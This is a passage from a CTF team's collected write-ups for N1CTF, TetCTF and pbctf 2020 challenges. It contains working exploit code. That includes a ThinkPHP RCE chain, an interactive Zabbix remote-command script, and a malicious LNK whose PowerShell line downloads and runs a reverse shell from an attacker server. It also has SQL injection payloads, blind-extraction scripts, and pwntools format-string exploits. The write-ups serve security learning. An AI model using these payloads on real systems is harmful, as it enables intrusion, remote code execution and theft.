"http://101.32.184.39/?s=captcha&g=implode" 11 | ``` 12 | 13 | This exploit create file names `suppp.php` with `super guessssers` inside it. 14 | 15 | ## explanation 16 | 17 | ## First step 18 | Well The challenge had many steps so i just explain how the exploit works. Everything starts from this function in `Request.php` 19 | 20 | ``` 21 | public function method($method = false) 22 | { 23 | if (true === $method) { 24 | return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); 25 | } elseif (!$this->method) { 26 | if (isset($_POST[Config::get('var_method')])) { 27 | $this->method = strtoupper($_POST[Config::get('var_method')]); 28 | $this->{$this->method}($_POST); 29 | } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { 30 | $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); 31 | } else { 32 | $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); 33 | } 34 | } 35 | return $this->method; 36 | } 37 | 38 | ``` 39 | 40 | And this part 41 | 42 | ``` 43 | if (isset($_POST[Config::get('var_method')])) { 44 | $this->method = strtoupper($_POST[Config::get('var_method')]); 45 | $this->{$this->method}($_POST); 46 | } 47 | ``` 48 | 49 | Accoring to `config.php` the `var_method` is set to `_method` it means that we can call any method with `$_POST` as argument. 50 | 51 | In our exploit, The `_method`'s value in post parameters is ``__construct``. 52 | 53 | ## Second step 54 | 55 | `__constructor` method of `Request.php` is 56 | 57 | ``` 58 | public function __construct($options = []){ 59 | foreach ($options as $name => $item) { 60 | if (property_exists($this, $name)) { 61 | $this->$name = $item; 62 | } 63 | } 64 | if (is_null($this->filter)) { 65 | $this->filter = Config::get('default_filter'); 66 | } 67 | } 68 | ``` 69 | 70 | In the exploit, The `__construct` method is called with `$_POST` as arg so `$options` here is `$_POST`. 71 | 72 | So we can overwrite any object's property to arbitrary value. 73 | 74 | In the exploit we overwrite 75 | 76 | ``` 77 | path => "payload" 78 | _method => "__construct" 79 | filter => ["set_error_handler","self::path","base64_decode","\think\view\driver\Php::Display"] 80 | method => "GET" 81 | ``` 82 | 83 | ## Third step 84 | 85 | Now the code continues until this code in `input` method 86 | 87 | ``` 88 | if (is_array($data)) { 89 | array_walk_recursive($data, [$this, 'filterValue'], $filter); 90 | reset($data); 91 | } 92 | ``` 93 | 94 | where `array_walk_recursive` calls `filterValue` method with following args in first call. 95 | 96 | ``` 97 | &$value -> implode 98 | $key -> key of array - not important 99 | $filters -> ["set_error_handler","self::path","base64_decode","\think\view\driver\Php::Display"] 100 | 101 | ``` 102 | 103 | In `filterValue` we have 104 | 105 | ``` 106 | private function filterValue(&$value, $key, $filters) 107 | { 108 | $default = array_pop($filters); 109 | foreach ($filters as $filter) { 110 | if (is_callable($filter)) { 111 | $value = call_user_func($filter, $value); 112 | } elseif (is_scalar($value)) { 113 | if (strpos($filter, '/')) { 114 | if (!preg_match($filter, $value)) { 115 | $value = $default; 116 | break; 117 | } 118 | } elseif (!empty($filter)) { 119 | $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); 120 | if (false === $value) { 121 | $value = $default; 122 | break; 123 | } 124 | } 125 | } 126 | } 127 | return $this->filterExp($value); 128 | } 129 | ``` 130 | 131 | This part is important: 132 | 133 | ``` 134 | foreach ($filters as $filter) { 135 | if (is_callable($filter)) { 136 | $value = call_user_func($filter, $value); 137 | } 138 | ``` 139 | 140 | It calls each filter, with previous function's return value. We can call arbitrary function with arbitrary arg But it's so limited with disabled functions and arguments count limitation. So now we need to chains function ( ROP :P ). 141 | 142 | Our main gadget is `display` method in `think\view\driver\Php`. 143 | 144 | Which is 145 | 146 | ``` 147 | public function display($content, $data = []) 148 | { 149 | if (isset($data['content'])) { 150 | $__content__ = $content; 151 | extract($data, EXTR_OVERWRITE); 152 | eval('?>' . $__content__); 153 | } else { 154 | extract($data, EXTR_OVERWRITE); 155 | eval('?>' . $content); 156 | } 157 | } 158 | ``` 159 | 160 | Fortunately php supports calling non static methods ( with a warning ), But the framework has set `error_hander` to some function, so if we call non static method, we will face framework's error handler. So first we have to call `set_error_handler` with dummy function's name, here `implode`, to turn off framework's error handling. So here is my chain. 161 | 162 | ``` 163 | function | argument ^ return value 164 | 1. 165 | set_error_handler | "implode" ^ array 166 | 2. 167 | self::path | The path property which we overwrited ^ base64 payload 168 | 3. 169 | base64_decode | base64 payload ^ decoded payload 170 | 4. 171 | \think\view\driver\Php::Display | decoded payload 172 | 173 | ``` 174 | 175 | So now we had control over arguments, Then we used [this](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) payload to execute system commands, and got flag. 176 | 177 | Flag: n1ctf{ab24ad523665a581da7fd54386895f51} 178 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/web/fun_zabbix/README.md: -------------------------------------------------------------------------------- 1 | ## fun_zabbix 2 | 3 | After we compose docker, we can access 8080 port with running zabbix. During try somthing, sapra found https://www.exploit-db.com/exploits/39937 and it worked successfully. Now we got rce. 4 | 5 | P.S I changed rce payload little 6 | 7 | ```python 8 | import requests 9 | import json 10 | import readline 11 | 12 | ZABIX_ROOT = 'http://vuln.live:8080' ### Zabbix IP-address 13 | url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit 14 | 15 | login = 'Admin' ### Zabbix login 16 | password = 'zabbix' ### Zabbix password 17 | hostid = '10084' ### Zabbix hostid 18 | 19 | ### auth 20 | payload = { 21 | "jsonrpc" : "2.0", 22 | "method" : "user.login", 23 | "params": { 24 | 'user': ""+login+"", 25 | 'password': ""+password+"", 26 | }, 27 | "auth" : None, 28 | "id" : 0, 29 | } 30 | headers = { 31 | 'content-type': 'application/json', 32 | } 33 | 34 | auth = requests.post(url, data=json.dumps(payload), headers=(headers)) 35 | print auth 36 | auth = auth.json() 37 | 38 | while True: 39 | cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ') 40 | if cmd == "" : print "Result of last command:" 41 | if cmd == "quit" : break 42 | 43 | ### update 44 | payload = { 45 | "jsonrpc": "2.0", 46 | "method": "script.update", 47 | "params": { 48 | "scriptid": "1", 49 | "command": ""+cmd+"" 50 | }, 51 | "auth" : auth['result'], 52 | "id" : 0, 53 | } 54 | 55 | cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers)) 56 | 57 | ### execute 58 | payload = { 59 | "jsonrpc": "2.0", 60 | "method": "script.execute", 61 | "params": { 62 | "scriptid": "1", 63 | "hostid": ""+hostid+"" 64 | }, 65 | "auth" : auth['result'], 66 | "id" : 0, 67 | } 68 | 69 | cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers)) 70 | cmd_exe = cmd_exe.json() 71 | try: 72 | print cmd_exe["result"]["value"] 73 | except: 74 | print 'No such command.' 75 | ``` 76 | 77 | When I did `reverse shell`, I realized that we have `zabbix_get` in our dockers basically. 78 | 79 | So, we started to find some method using zabbix_get and finally found `vfs.file.contents`. 80 | 81 | 82 | 83 | So, our final payload was `zabbix_get -s zabbix-agent-secret -k vfs.file.contents[/flag/flag.txt]` 84 | 85 | `n1ctf{cefa715f75e28670afe7d4bf654e00e4}` -------------------------------------------------------------------------------- /2020/N1CTF 2020/web/signin/README.md: -------------------------------------------------------------------------------- 1 | # Web signin 2 | 3 | ## Description 4 | 5 | It was php serialization challenge, ended up having 78 solves. 6 | 7 | ## Challenge 8 | 9 | ``` 10 | class ip { 11 | public $ip; 12 | public function waf($info){ 13 | } 14 | public function __construct() { 15 | if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ 16 | $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']); 17 | }else{ 18 | $this->ip =$_SERVER["REMOTE_ADDR"]; 19 | } 20 | } 21 | public function __toString(){ 22 | $con=mysqli_connect("localhost","root","********","n1ctf_websign"); 23 | $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time()); 24 | if(!mysqli_query($con,$sqlquery)){ 25 | return mysqli_error($con); 26 | }else{ 27 | return "your ip looks ok!"; 28 | } 29 | mysqli_close($con); 30 | } 31 | } 32 | 33 | class flag { 34 | public $ip; 35 | public $check; 36 | public function __construct($ip) { 37 | $this->ip = $ip; 38 | } 39 | public function getflag(){ 40 | if(md5($this->check)===md5("key****************")){ 41 | readfile('/flag'); 42 | } 43 | return $this->ip; 44 | } 45 | public function __wakeup(){ 46 | if(stristr($this->ip, "n1ctf")!==False) 47 | $this->ip = "welcome to n1ctf2020"; 48 | else 49 | $this->ip = "noip"; 50 | } 51 | public function __destruct() { 52 | echo $this->getflag(); 53 | } 54 | 55 | } 56 | if(isset($_GET['input'])){ 57 | $input = $_GET['input']; 58 | unserialize($input); 59 | } 60 | ``` 61 | ## Solution 62 | 63 | To solve this, we just have to reach `getflag` method with correct check property. 64 | 65 | ``` 66 | public function getflag(){ 67 | if(md5($this->check)===md5("key")){ 68 | readfile('/flag'); 69 | } 70 | return $this->ip; 71 | } 72 | ``` 73 | `waf` method's code is not in picture. 74 | 75 | Also there is a mysql connection in `__toString` method of `ip` class. So maybe the correct key is there. 76 | 77 | To dump the key, we have to somehow get sql injection. 78 | 79 | Basically there is injection point in code: 80 | 81 | ``` 82 | $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time()); 83 | ``` 84 | Also this part of code is interesting. 85 | 86 | ``` 87 | if(!mysqli_query($con,$sqlquery)){ 88 | return mysqli_error($con); 89 | }else{ 90 | return "your ip looks ok!"; 91 | } 92 | ``` 93 | This code returns mysql error or a `your ip looks ok!` based on the query result. 94 | 95 | The other interesting part is 96 | 97 | ``` 98 | public function __wakeup(){ 99 | if(stristr($this->ip, "n1ctf")!==False) 100 | $this->ip = "welcome to n1ctf2020"; 101 | else 102 | $this->ip = "noip"; 103 | } 104 | ``` 105 | 106 | This means if our ip has `n1ctf` in it, then `welcome to n1ctf2020` is shown, otherwise `noip`. 107 | 108 | So if we can put `n1ctf` in mysql error code, we have sql injection. 109 | 110 | This injection does the job. 111 | 112 | ``` 113 | '&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=2 limit 1)))))&&' 114 | ``` 115 | 116 | The query with our injection would return error with `n1ctf` in it if `1=1` and `null` otherwise. 117 | 118 | ## Exploit 119 | 120 | We can generate our serialized object with this code. 121 | 122 | ``` 123 | $payload = new flag("A"); 124 | $payload->ip = new ip(); 125 | echo urlencode(urlencode( $input )); 126 | ``` 127 | 128 | Which is 129 | 130 | ``` 131 | O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BN%3B%7Ds%3A5%3A%22check%22%3BN%3B%7DA 132 | ``` 133 | 134 | Then in `X-Forwarded-For` header 135 | 136 | ``` 137 | '&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=1 limit 1)))))&&' 138 | ``` 139 | 140 | The response contains `welcome to n1ctf2020` if `1=1` and `noip` otherwise. 141 | 142 | Then you can get key with dumping database, which is `n1ctf20205bf75ab0a30dfc0c`. 143 | 144 | Final payload is 145 | 146 | ``` 147 | O%3A4%3A"flag"%3A2%3A%7Bs%3A2%3A"ip"%3Bs%3A1%3A"A"%3Bs%3A5%3A"check"%3Bs%3A25%3A"n1ctf20205bf75ab0a30dfc0c"%3B%7DA 148 | ``` 149 | 150 | And the flag is n1ctf{you_g0t_1t_hack_for_fun} 151 | 152 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/web/the_king_of_phish/README.md: -------------------------------------------------------------------------------- 1 | # The king of phish (Victim bot) 2 | We are given the following code 3 | ```python 4 | import os 5 | import uuid 6 | import LnkParse3 as Lnk 7 | from flask import Flask, request 8 | 9 | app = Flask(__name__) 10 | 11 | @app.route('/') 12 | def index(): 13 | source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b") 14 | return source 15 | 16 | 17 | @app.route('/send', methods=['POST']) 18 | def sendFile(): 19 | if 'file' not in request.files: 20 | return 'No file part' 21 | file = request.files['file'] 22 | 23 | if file.filename == '': 24 | return 'No selected file' 25 | data = file.stream.read() 26 | if not data.startswith(b"\x4c\x00"): 27 | return "You're a bad guy!" 28 | shortcut = Lnk.lnk_file(indata=data) 29 | if shortcut.data['command_line_arguments'].count(" "): 30 | return "File is killed by antivirus." 31 | filename = str(uuid.uuid4())+".lnk" 32 | fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename) 33 | open(fullname, "wb").write(data) 34 | clickLnk(fullname) 35 | return "Clicked." 36 | 37 | 38 | def clickLnk(lnkPath): 39 | os.system('cmd /c "%s"' % lnkPath) 40 | 41 | 42 | if __name__ == '__main__': 43 | app.run(host='0.0.0.0', port=5000) 44 | ``` 45 | We can upload a LNK file which will be executed. The only limitation is the use of spaces in the command arguments, which we can bypass by using tab characters instead. To generate the payload we can use [lnk2pwn](https://github.com/tommelo/lnk2pwn) with the following config.json 46 | ```json 47 | { 48 | "shortcut": { 49 | "target_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe", 50 | "working_dir": "C:\\Users\\usera\\Desktop", 51 | "arguments": "IEX(New-Object\tNet.WebClient).DownloadString('http://[OUR SERVER]/reverse_shell.ps1')", 52 | "icon_path": "C:\\Windows\\System32\\notepad.exe", 53 | "icon_index": null, 54 | "window_style": "MINIMIZED", 55 | "description": "a", 56 | "fake_extension": ".txt", 57 | "file_name_prefix": "b" 58 | }, 59 | "elevated_uac": { 60 | "file_name": "uac_bypass.vbs", 61 | "cmd": "cmd.exe" 62 | } 63 | } 64 | ``` 65 | Uploading this gives us a shell and we can get the flag from `C:\Users\usera\Desktop\flag.txt`. 66 | The flag is `n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}` 67 | -------------------------------------------------------------------------------- /2020/TetCTF 2020/crypto/README.md: -------------------------------------------------------------------------------- 1 | Crypto Writeups : https://rkm0959.tistory.com/192 -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/babyformat/babyformat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/babyformat/babyformat -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/babyformat/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/babyformat/libc-2.23.so -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/babyformat/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.arch = 'amd64' 4 | e = ELF('./babyformat') 5 | libc = ELF('./libc-2.23.so') 6 | 7 | fs = FileStructure() 8 | fs.flags = 0xfbad2c80 9 | fs._IO_read_ptr = 0x602480 10 | fs._IO_read_base = 0x602480 11 | fs._IO_read_end = 0x602480 12 | fs._IO_write_base = 0x602480 13 | fs._IO_write_ptr = 0x6024c0 14 | fs._IO_write_end = 0x6024d0 15 | fs._IO_buf_base = 0x602480 16 | fs._IO_buf_end = 0x6024d0 17 | fs._old_offset = 0 18 | fs.fileno = 0x3 19 | fs._lock = 0x602380 20 | fs._wide_data = 0x602390 21 | fs.vtable = 0x602140 22 | 23 | def exp(): 24 | p = remote('192.46.228.70', 31337) 25 | p.recvuntil(': ') 26 | p.sendline('%40c%11$hhn%9$p'.ljust(0x10, '\x00') + str(fs)[0x10:] + ('A'*0x10 + p64(0x4009cb)).ljust(136, 'A') + p64(0x400740)) 27 | p.recvuntil('0x') 28 | libc.address = int(p.recvuntil('Dat', drop=True), 16)-0x6d3ff 29 | log.success('Libc leak: '+hex(libc.address)) 30 | p.recvuntil(': ') 31 | p.sendline('%40c%11$hhn;sh'.ljust(0x10, '\x00') + str(fs)[0x10:] + ('A'*0x10 + p64(0x4006ee)).ljust(136, 'A') + p64(libc.symbols['system'])) 32 | p.interactive() 33 | 34 | run = True 35 | while run: 36 | try: 37 | exp() 38 | run = False 39 | except: 40 | continue 41 | -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/warmup/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/warmup/libc-2.23.so -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/warmup/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ctypes import * 3 | 4 | e = ELF('./warmup') 5 | libc = ELF('./libc-2.23.so') 6 | clib = CDLL(libc.path) 7 | # p = e.process() 8 | p = remote('192.46.228.70', 32338) 9 | 10 | srand = clib.srand 11 | rand = clib.rand 12 | 13 | # context.log_level = 0 14 | 15 | offset = 0x1270 16 | 17 | p.sendlineafter(b'? ',b'100000000') 18 | p.sendlineafter(b': ',b'%88c%13$hhnAAAA%1$p %6$p %20$p') 19 | 20 | p.recvuntil(b'AAAA') 21 | base = int(p.recvuntil(b' '),16) - libc.symbols['_IO_2_1_stdout_'] - 131 22 | pie = int(p.recvuntil(b' '),16) - offset 23 | stack = int(p.recvuntil(b' '),16) 24 | print(hex(base)) 25 | print(hex(pie)) 26 | print(hex(stack)) 27 | 28 | p.recvuntil(b'money: ') 29 | bmoney = int(p.recvuntil(b' ')) 30 | heap = bmoney - 0x10 31 | print(hex(heap)) 32 | 33 | p.sendlineafter(b'): ',b'1') 34 | p.sendlineafter(b': ',b'0') 35 | 36 | p.recvuntil(b'number: ') 37 | a = int(p.recvline()) 38 | 39 | p.recvuntil(b'money: ') 40 | amoney = int(p.recvuntil(b' ')) 41 | b = (bmoney - amoney - 1) 42 | print(a,b) 43 | 44 | for i in range(1<<24): 45 | srand(i) 46 | if rand() == a and rand() == b: 47 | print(hex(i)) 48 | break 49 | 50 | c = rand() 51 | d = rand() 52 | 53 | diff = (stack - amoney) 54 | 55 | p.sendlineafter(b'): ',str(diff - d)) 56 | p.sendlineafter(b': ',str(c)) 57 | 58 | p.recvuntil(b'money: ') 59 | buf = int(p.recvuntil(b' ')) 60 | print(hex(buf)) 61 | 62 | oneshot = 0x4527a + base 63 | 64 | p.sendlineafter(b'): ',b'0') 65 | pay = p64(oneshot)*4 66 | pay += p64(0)*0x20 67 | 68 | p.sendafter(b': ',pay) 69 | 70 | 71 | p.interactive() 72 | -------------------------------------------------------------------------------- /2020/TetCTF 2020/pwn/warmup/warmup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/warmup/warmup -------------------------------------------------------------------------------- /2020/TetCTF 2020/web/Super Calc/README.md: -------------------------------------------------------------------------------- 1 | ## Code 2 | ```php 3 | 70) { 15 | die("Tired of calculating? Lets relax <3"); 16 | } 17 | echo 'Result: '; 18 | eval("echo ".eval("return ".$_GET["calc"].";").";"); 19 | } 20 | ``` 21 | 22 | ## Solver 23 | `http://139.180.155.171/?calc=%28%27.%7C%27%5E%2724%27%5E%27%7C%2B%27%29.%28%27%7C%27%5E%274%27%5E%27%29%27%29.%28%27%2A%27%5E%27%5E%27%29.%28%27%26%27%26%27%29%27%29.%27%2A%27.%28%27.%27%5E%272%27%5E%27%7C%27%29` 24 | -------------------------------------------------------------------------------- /2020/TetCTF 2020/web/hpny/README.md: -------------------------------------------------------------------------------- 1 | ## Code 2 | ```php 3 | 50) { 24 | die("bumbadum badum"); 25 | } 26 | eval("echo ".$_GET["roll"]."();"); 27 | } 28 | 29 | ?> 30 | ``` 31 | 32 | ## Solver 33 | `curl -H 'X: fl4g_here_but_can_you_get_it_hohoho.php' 'http://139.180.155.171:8003/?roll=readfile(getenv(HTTP_X))'` 34 | -------------------------------------------------------------------------------- /2020/TetCTF 2020/web/mysqlimit/README.md: -------------------------------------------------------------------------------- 1 | ## mysqlimit 2 | 3 | ``` 4 | Description: 5 | 6 | Limit 'Em All! http://45.77.255.164/ 7 | ``` 8 | 9 | ```php 10 | ﹏<)・゚。 21 | if (preg_match('/union|and|or|on|cast|sys|inno|mid|substr|pad|space|if|case|exp|like|sound|produce|extract|xml|between|count|column|sleep|benchmark|\<|\>|\=/is' , $_GET['id'])) 22 | { 23 | die(''); 24 | } 25 | else 26 | { 27 | // prevent sql injection 28 | $id = mysqli_real_escape_string($conn, $_GET["id"]); 29 | 30 | $query = "select * from flag_here_hihi where id=".$id; 31 | $run_query = mysqli_query($conn,$query); 32 | 33 | if(!$run_query) { 34 | echo mysqli_error($conn); 35 | } 36 | else 37 | { 38 | // I'm kidding, just the name of flag, not flag :( 39 | echo '
'; 40 | $res = $run_query->fetch_array()[1]; 41 | echo $res; 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | ``` 48 | 49 | The code is filtering `sys` and `column`. So, I thought it's hard to get column name directly and also `union` is filtered. So, we cannot use redefining column name using `union` is also unavailable. But there is a part which prints error. 50 | 51 | ```php 52 | if(!$run_query) { 53 | echo mysqli_error($conn); 54 | } 55 | ``` 56 | 57 | 58 | 59 | So, I guess we can trigger errors for getting column name. 60 | 61 | While I was digging some method, I realized that server's configuration is not normal case. 62 | 63 | Below payload caused an error. 64 | 65 | ```sql 66 | -9 group by 1 67 | ``` 68 | 69 | error: 70 | 71 | ``` 72 | Expression #2 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'flag_here_hoho.flag_here_hihi.t_fl4g_name_su' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by 73 | ``` 74 | 75 | this error is displaying `dbname.table_name.column_name` 76 | 77 | So, we can get the column name of flag with `group by 2` 78 | 79 | 80 | 81 | ``` 82 | Expression #3 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'flag_here_hoho.flag_here_hihi.t_fl4g_v3lue_su' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by 83 | ``` 84 | 85 | So, column name was `t_fl4g_v3lue_su`. 86 | 87 | And there is no filtering with `right`, `left`, `ascii` and `in`. These will cause blind sql injection. 88 | 89 | So, my final payload is like this 90 | 91 | 92 | 93 | ```python 94 | import requests 95 | 96 | flag = '' 97 | for i in range(1,100): 98 | for j in range(32,127): 99 | conn = requests.get('http://45.77.255.164/?id=-9||ascii(right(left(t_fl4g_v3lue_su,'+str(i)+'),1))in('+str(j)+')') 100 | r1 = conn.content 101 | #print j 102 | if 'handsome_flag' in r1: 103 | flag += chr(j) 104 | print flag 105 | break 106 | ``` -------------------------------------------------------------------------------- /2020/pbctf 2020/README.md: -------------------------------------------------------------------------------- 1 | ## pbCTF 2020 Write ups 2 | 3 | ### pwn 4 | - Jheap - [pwn/jheap](pwn/jheap) 5 | - Pwnception - [pwn/pwnception](pwn/pwnception) 6 | - Amazing ROP - [pwn/Amazing-ROP](pwn/Amazing-ROP) 7 | 8 | ### rev 9 | - RGNN - [rev/rgnn](rev/rgnn) 10 | 11 | ### misc 12 | - Vaccine Stealer - [misc/vaccine_stealer](misc/vaccine_stealer) 13 | - Not Stego - [misc/not_stego](misc/not_stego) 14 | - Find rbtree - https://rkm0959.tistory.com/174 15 | - Gcombo - [misc/gcombo](misc/gcombo) 16 | 17 | ### web 18 | - Ikea Name Generator - [web/ikea-name-generator](web/ikea-name-generator) 19 | - XSP - [web/XSP](web/XSP) 20 | - Apoche I - [web/apoche1](web/apoche1) 21 | - Simple Note - [web/simple_note](web/simple_note) 22 | - Sploosh - [web/sploosh](web/sploosh) 23 | 24 | ### crypto 25 | - Strong Cipher - [crypto/strong_cipher](crypto/strong_cipher) 26 | - Ainissesthai - [crypto/ainissesthai](crypto/ainissesthai) 27 | - QueenSarah2, LeaK, Special Gift, Special Gift Revenge - https://rkm0959.tistory.com/174 28 | -------------------------------------------------------------------------------- /2020/pbctf 2020/crypto/ainissesthai/README.md: -------------------------------------------------------------------------------- 1 | # Challenge 2 | 3 | * **Points**: 53 4 | * **Solves**: 59 5 | * **Files**: [ainissesthai.py](./ainissesthai.py) 6 | 7 | ``` 8 | A team of codebreakers had to invent computers to break this cipher. Can you figure out what the flag is? 9 | Remote: nc ainissesthai.chal.perfect.blue 1 10 | Note: enter flag as pbctf{UPPERCASEPLAINTEXT} 11 | By: UnblvR 12 | ``` 13 | 14 | # Solution 15 | The server is encrypting the flag 50 times with different values using Enigma, which has a property that no letter ever encrypts to itself. We can recover the flag by getting many ciphertexts and eliminate characters until we're left with one. 16 | 17 | ```python 18 | from pwn import * 19 | from string import ascii_uppercase 20 | 21 | flag = [set(ascii_uppercase.encode()) for _ in range(17)] 22 | while any(len(c) != 1 for c in flag): 23 | r = remote('ainissesthai.chal.perfect.blue', 1) 24 | cts = r.recvall().split() 25 | for ct in cts: 26 | for i, c in enumerate(ct): 27 | if c in flag[i]: 28 | flag[i].remove(c) 29 | 30 | flag = bytes(int(c.pop()) for c in flag).decode() 31 | print(f'pbctf{{{flag}}}') 32 | ``` 33 | 34 | # FLAG 35 | `pbctf{FATALFLAWINENIGMA}` 36 | -------------------------------------------------------------------------------- /2020/pbctf 2020/crypto/ainissesthai/ainissesthai.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | 3 | from string import ascii_uppercase as UC 4 | from random import SystemRandom 5 | from enigma.machine import EnigmaMachine 6 | from secretstuff import FLAG, PLUGBOARD_SETTINGS 7 | 8 | assert FLAG.isupper() # Without pbcft{...} 9 | random = SystemRandom() 10 | 11 | for _ in range(50): 12 | ROTORS = [random.choice(("I","II","III","IV","V","VI","VII","VIII")) for _ in range(3)] 13 | REFLECTOR = random.choice(("B", "C", "B-Thin", "C-Thin")) 14 | RING_SETTINGS = [random.randrange(26) for _ in range(3)] 15 | 16 | machine = EnigmaMachine.from_key_sheet( 17 | rotors=ROTORS, 18 | reflector=REFLECTOR, 19 | ring_settings=RING_SETTINGS, 20 | plugboard_settings=PLUGBOARD_SETTINGS) 21 | 22 | machine.set_display(''.join(random.sample(UC, 3))) 23 | 24 | ciphertext = machine.process_text(FLAG) 25 | 26 | print(ciphertext) -------------------------------------------------------------------------------- /2020/pbctf 2020/crypto/strong_cipher/ciphertext: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/pbctf 2020/crypto/strong_cipher/ciphertext -------------------------------------------------------------------------------- /2020/pbctf 2020/crypto/strong_cipher/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import re 3 | def gf2(src1, src2): 4 | ret = 0 5 | for i in range(0, 8): 6 | if src2 & (1 << i): 7 | ret = ret ^ (src1 << i) 8 | for i in range(14, 7, -1): 9 | p = 0x11B << (i - 8) 10 | if ret & (1 << i): 11 | ret = ret ^ p 12 | return ret 13 | 14 | ct = open("ciphertext", "rb").read() 15 | 16 | key_len = 12 17 | ct_len = len(ct) 18 | pt = bytearray(ct_len) 19 | key = 0 20 | 21 | for j in range(key_len): 22 | max_printable = -1 23 | for k in range(256): 24 | printable = 0 25 | for i in range(j, ct_len, key_len): 26 | if (32 <= gf2(ord(ct[i]), k) <= 126): 27 | printable += 1 28 | if printable > max_printable: 29 | key = k 30 | max_printable = printable 31 | for i in range(j, ct_len, key_len): 32 | pt[i] = gf2(ord(ct[i]), key) 33 | 34 | print(re.findall(r'pbctf{.*}', pt)[0]) 35 | -------------------------------------------------------------------------------- /2020/pbctf 2020/misc/gcombo/README.md: -------------------------------------------------------------------------------- 1 | Looking at the source of the google form, it essentially gives us a directed graph. 2 | This was parsed and is present in parsed.py, solve.py uses breadth first search to find a path upto node 751651474. 3 | The path generated from the script can be used on the google form which asks us for a password, which can be found in the source. 4 | We can use the password `s3cuR3_p1n_id_2_3v3ry0ne` from the source, this will show us that flag is in the form `pbctf{_}` 5 | 6 | So, the flag is: `pbctf{5812693370_s3cuR3_p1n_id_2_3v3ry0ne}` 7 | -------------------------------------------------------------------------------- /2020/pbctf 2020/misc/gcombo/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | from collections import defaultdict 3 | from parsed import z 4 | 5 | class Graph: 6 | def __init__(self): 7 | self.graph = defaultdict(list) 8 | 9 | def addEdge(self,u,v): 10 | self.graph[u].append(v) 11 | 12 | def bfs(self, s, e): 13 | queue = [] 14 | queue.append([s]) 15 | 16 | while queue: 17 | s = queue.pop(0) 18 | node = s[-1] 19 | 20 | if node == e: 21 | return s 22 | 23 | for adjacent in self.graph.get(node, []): 24 | new_path = list(s) 25 | new_path.append(adjacent) 26 | queue.append(new_path) 27 | 28 | edges = set() 29 | d = dict() 30 | 31 | for i in range(20): 32 | parent = z[(i*2) + 1][0] 33 | for j in range(10): 34 | try: 35 | d[z[(i*2)+2][4][0][1][j][2]] = int(z[(i*2)+2][4][0][1][j][0]) 36 | edges.add((parent, z[(i*2)+2][4][0][1][j][2])) 37 | except: 38 | pass 39 | 40 | g = Graph() 41 | for i, j in edges: 42 | g.addEdge(i,j) 43 | 44 | path = g.bfs(1114266997, 751651474) 45 | print 5, 46 | for i in path[1:]: 47 | print d[i], 48 | -------------------------------------------------------------------------------- /2020/pbctf 2020/misc/not_stego/README.md: -------------------------------------------------------------------------------- 1 | # Challenge 2 | 3 | * **Points**: 26 4 | * **Solves**: 135 5 | * **Files**: [profile.png](./profile.png) 6 | 7 | ``` 8 | Hallmark of a good CTF is inclusion of Steganography. You asked and we delivered, or didn't we? 9 | By: theKidofArcrania 10 | ``` 11 | 12 | # Solution 13 